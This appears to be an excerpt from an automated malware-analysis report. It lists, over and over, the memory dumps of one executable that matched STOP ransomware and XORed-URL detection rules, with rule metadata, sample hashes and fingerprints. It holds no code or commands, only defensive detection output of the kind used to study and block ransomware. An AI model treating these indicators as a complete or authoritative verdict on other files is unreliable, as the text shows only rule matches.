Source: 11.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.0.bE5aaTiJM0.exe.400000.4.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.bE5aaTiJM0.exe.42715a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 0.2.bE5aaTiJM0.exe.42715a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.bE5aaTiJM0.exe.42715a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 9.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.bE5aaTiJM0.exe.400000.10.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.0.bE5aaTiJM0.exe.400000.8.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 9.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.bE5aaTiJM0.exe.400000.7.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.0.bE5aaTiJM0.exe.400000.5.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 9.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.0.bE5aaTiJM0.exe.400000.9.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 11.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.0.bE5aaTiJM0.exe.400000.7.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.0.bE5aaTiJM0.exe.400000.6.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 14.2.bE5aaTiJM0.exe.42415a0.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 14.2.bE5aaTiJM0.exe.42415a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 14.2.bE5aaTiJM0.exe.42415a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 11.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.2.bE5aaTiJM0.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 11.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.0.bE5aaTiJM0.exe.400000.8.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 11.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 11.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 11.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 2.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 2.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 2.0.bE5aaTiJM0.exe.400000.6.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 16.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 16.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 16.0.bE5aaTiJM0.exe.400000.5.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.bE5aaTiJM0.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
Source: 12.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.0.bE5aaTiJM0.exe.400000.10.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.0.bE5aaTiJM0.exe.400000.9.unpack, type: UNPACKEDPE	Matched rule: SUSP_XORed_URL_in_EXE date = 2020-03-09, author = Florian Roth, description = Detects an XORed URL in an executable, score = , reference = https://twitter.com/stvemillertime/status/1237035794973560834, modified = 2021-05-27
